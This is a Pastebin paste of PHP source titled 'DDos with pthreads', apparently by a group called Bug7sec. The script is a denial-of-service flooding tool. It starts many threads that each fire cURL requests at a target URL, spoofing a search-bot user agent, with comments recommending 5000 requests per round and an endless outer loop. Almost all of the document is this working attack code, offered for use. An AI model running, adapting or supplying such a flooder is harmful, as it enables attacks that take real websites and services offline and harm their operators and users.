Advertisement
bug7sec

DDos with pthreads

Jun 13th, 2017
583
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 3.22 KB | None | 0 0
  1. <?php
  2. error_reporting(0);
  3. set_time_limit(0);
  4. /**
  5.  * @Author: Bug7sec
  6.  * @Date:   2017-06-13 10:59:22
  7.  * @Last Modified by:   Bug7sec.org
  8.  * @Last Modified time: 2017-06-13 23:57:26
  9.  */
  10. class My extends Thread{
  11.     function __construct($url){
  12.         $this->url = $url;
  13.     }
  14.     public function sdata($url , $custom , $delCookies = null){
  15.         unlink("cookijem.txt");
  16.         $ch = curl_init();
  17.         curl_setopt($ch, CURLOPT_URL, $url);
  18.         curl_setopt($ch, CURLOPT_HEADER, false);
  19.         if($custom[uagent]){
  20.             curl_setopt($ch, CURLOPT_USERAGENT, $custom[uagent]);
  21.         }else{
  22.             curl_setopt($ch, CURLOPT_USERAGENT, "msnbot/1.0 (+http://search.msn.com/msnbot.htm)");
  23.             //curl_setopt($ch, CURLOPT_USERAGENT, "Galau Agent ".rand(100,100));
  24.         }
  25.         curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
  26.         curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  27.         curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  28.         curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  29.         curl_setopt($ch, CURLOPT_CONNECTTIMEOUT ,0);
  30.         if($custom[rto]){
  31.             curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
  32.         }else{
  33.             curl_setopt($ch, CURLOPT_TIMEOUT, 60);
  34.         }
  35.         if($custom[header]){
  36.             curl_setopt($ch, CURLOPT_HTTPHEADER, $custom[header]);
  37.         }
  38.         curl_setopt($ch, CURLOPT_COOKIEJAR,  getcwd().'/cookijem.txt');
  39.         curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd().'/cookijem.txt');
  40.         curl_setopt($ch, CURLOPT_VERBOSE, false);
  41.         if($custom[post]){
  42.             if(is_array($custom[post])){
  43.                 $query = http_build_query($custom[post]);
  44.             }else{
  45.                 $query = $custom[post];
  46.             }
  47.             curl_setopt($ch, CURLOPT_POST, true);
  48.             curl_setopt($ch, CURLOPT_POSTFIELDS, $query);
  49.         }
  50.         $data           = curl_exec($ch);
  51.         $httpcode       = curl_getinfo($ch, CURLINFO_HTTP_CODE);
  52.         curl_close($ch);
  53.         if($delCookies != false){
  54.             unlink("cookijem.txt");
  55.         }
  56.         return array(
  57.             'data'      => $data,
  58.             'decode'    => json_decode($data , true),
  59.             'httpcode'  => $httpcode
  60.         );
  61.     }
  62.     public function readline($pesan){
  63.         echo "[Checker] ".$pesan;
  64.         $answer =  rtrim( fgets( STDIN ));
  65.         return $answer;
  66.     }
  67.     public function clean($string) {
  68.         $string = preg_replace('/\s+/', '', $string);
  69.         $string = str_replace('-', '', $string);
  70.         return preg_replace('/[^A-Za-z0-9@._\-]/', '', $string); // Removes special chars.
  71.     }
  72.     public function run(){
  73.         $data = $this->sdata($this->url);
  74.             if($data['data'] != "app_not_found"){
  75.                 echo "w00t => ".$this->url." => Success\r\n";
  76.                 exit;
  77.             }else{
  78.                 echo "fail => ".$this->url." => Failed\r\n";
  79.             }
  80.             sleep(2);
  81.     }
  82. }
  83. class Checker extends My
  84. {
  85.     public function ngerunning(){
  86.         $url        = "https:// ? "; // target url
  87.         $request    = 10; // recommend  5000
  88.  
  89.         for ($i=0; $i <$request; $i++) {
  90.             $urlist[] = $url;
  91.         }
  92.         /** start mining **/
  93.         foreach ($urlist as $key => $value) {
  94.             echo "Worker ==> ".$key." of ".count($urlist)."\r\n";
  95.             $pool[] = new My($value);
  96.         }
  97.    
  98.         foreach($pool as $worker){
  99.             $worker->start();
  100.         }
  101.         foreach($pool as $worker){
  102.             $worker->join();
  103.         }
  104.     }
  105. }
  106. $n = new Checker;
  107. while (1 <= 1000) {
  108.     $n->ngerunning();
  109. }
  110. ?>
  111.  
  112. // readmore : https://www.facebook.com/bug7sec/?ref=bookmarks
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement